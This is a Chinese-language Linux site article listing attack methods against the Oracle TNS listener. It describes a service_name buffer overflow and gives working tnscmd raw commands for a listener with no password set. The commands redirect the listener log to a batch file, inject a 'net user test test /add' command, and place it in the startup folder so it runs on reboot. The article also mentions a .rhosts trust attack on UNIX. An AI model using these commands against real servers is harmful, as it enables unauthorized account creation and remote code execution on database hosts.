首页 | 资讯动态 | linux基础 | 系统管理 | 网络管理 | 编程开发 | linux数据库 | 服务器技术 | linux相关 | linux认证 | 嵌入式 | 下载中心 | 专题 | linux招聘 | HR | 镜像
OKLinux中文技术站
·设为首页
·加入收藏
·联系我们
系统管理: 中文环境 系统管理 桌面应用 内核技术 | Linux基础: 基础入门 安装配置 常用命令 经验技巧 软件应用 | Linux数据库: Mysql Postgre Oracle DB2 Sybase other
网络管理: 网络安全 网络应用 Linux服务器 环境配置 黑客安全 | 编程开发: PHP CC++ Python Perl Shell 嵌入式开发 java jsp | PHP技术: PHP基础 PHP技巧 PHP应用 PHP文摘
搜索中心 Linux招聘 Linux专题 Apache | Linux相关: 硬件相关 Linux解决方案 Linux认证 企业应用 其它Unix | 相关下载: 资料下载 参考手册 开发工具 服务器类 软路由 其它
 技术搜索:
会员中心 注册会员 高级搜索  
  → 当前位置:首页>linux数据库>oracle>正文

针对Oracle的TNS listener攻击方法整理

http://www.oklinux.cn  2008-08-08  赛迪网 小昭  会员收藏  游客收藏  【 】 
您查看的文章来源于http://www.oklinux.cn

首先,根据版本的不同,TNS listener可能较易受到多种类型的缓冲区溢出攻击,这些攻击可以在不提供用户ID和口令的情况下被利用。例如:在oracle 9i中,当客户机请求某个过长的service_name时,很容易受到溢出攻击。当listener为日志构建错误消息之后,service_name的值会被复制到某于栈结构的缓冲区内,从而引起溢出—覆盖保存值将返回栈中的地址。这种做法可以使攻击者获得控制权。事实上,TNS listener曾经有过多次溢出和格式化字符串的漏洞。

其次,另一类攻击和日志文件有关。只有当未给listener设置口令的时候,攻击才会有效。

假设某个listener没有设置口令,攻击方法如下:

tnscmd -h www.example.com -p 1521 –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_directory)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\\)))” 将日志目录设置到C盘

tnscmd -h www.example.com -p 1521 –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=test.bat)))” 将日志文件设置为test.bat

tnscmd -h www.example.com –rawcmd “(CONNECT_DATA=(( ||dir >test.txt||net user test test /add))”该命令把

dir >test.txt、net user test test /add命令写入c:\test.bat文件,由于双竖线的作用(第一条命令执行失败后,WINDOWS命令解释器执行后面的命令)把错误的信息注释掉, 从而可以执行我们提交的命令。

通过设置日志文件到不同的目录,例如WINDOWS的启动目录,当服务器重启将执行恶意用户提交的特定代码,从而对系统造成威胁。

运行于UNIX系统上的oracle也会受到同样的威胁。其中一种方法就是将“ ”回送给.rhost文件,当系统运行时,使用r*services命令。


上一篇:Oracle ebs 11.5 for linux as4安装心得   下一篇:Ubuntu与Windows的相互远程连接[图]

收藏于收藏夹】 【评论】 【推荐】 【打印】 【关闭
相关文档
·Oracle ebs 11.5 for linux as4安装心得
·如何禁用Oracle的XDB及修改XDB服务端口
·个人经验总结:在Oracle中恢复被DROP掉的表
·Linux上安装Oracle汉字乱码问题的解决方法
·启动或关闭数据库的归档(ARCHIVELOG)模式
·Oracle、SQL Server中如何锁定DB和解锁DB
·Oracle 10g使用RMAN创建physical standby
·讲解DBMS_STATS的分析表与备份分析信息
·个人经验总结:Oracle 10g手工创建数据库
·在64位Linux环境下安装Oracle数据库10g
·Redhat Linux AS4 安装Oracle 10g(包括启动)
·Oracle listener静态注册和动态注册总结
·Oracle DBMS_JOB:每隔特定时间执行特定任务
·如何使用exp以传输表空间的方式将其导出
·Oracle数据库中获取数据的存储过程示例
·Oracle数据库10gR2中stream多源复制方法
发表评论
密码: 匿名评论
评论内容:

(不超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规)
 
  最新文档
·关于Oracle将目标数据库设为归档模式应
·Linux下OCI基础:配置Instant Client连
·Oracle中被锁定的解决办法
·Oracle 11G 无法连接到数据库实例故障
·浅谈创建Oracle数据库连接的两种方法
·如何从Oracle技术支持获得更多
·Oracle数据库中安全知识介绍
·Oracle推出Linux服务并不成功
·Oracle专用服务器的内存结构分布原则
·如何在RAC环境下修改Oracle字符集
·Oracle过程中执行动态SQL或DDL语句
·2008年Oracle错误、备份、升级等最热门
  阅读排行
·详解远程SHELL下安装配置RedHat ES 5的
·Ubuntu上安装Oracle 10G及相关配置
·Oracle高级复制(同步复制)配置步骤详细
·如何修改遗失的MySQL的ROOT用户密码
·Redhat Linux AS4 安装Oracle 10g(包括
·Linux下OCI基础:配置Instant Client连
·解决启动数据库时发生的ORA-12528错误
·在 Oracle Enterprise Linux 上升级到
·Oracle 10g表空间创建的完整步骤
·centos 5.0中成功安装Oracle10g (1020
·如何在RAC环境下修改Oracle字符集
·Oracle数据库导入导出方法的个人总结
·巧用Oracle执行计划机制提高查询性能
·Oracle 10g 在AIX 5.3上安装过程笔记
·Linux真机环境Oracle 10gR2 RAC 安装完
网摘收藏: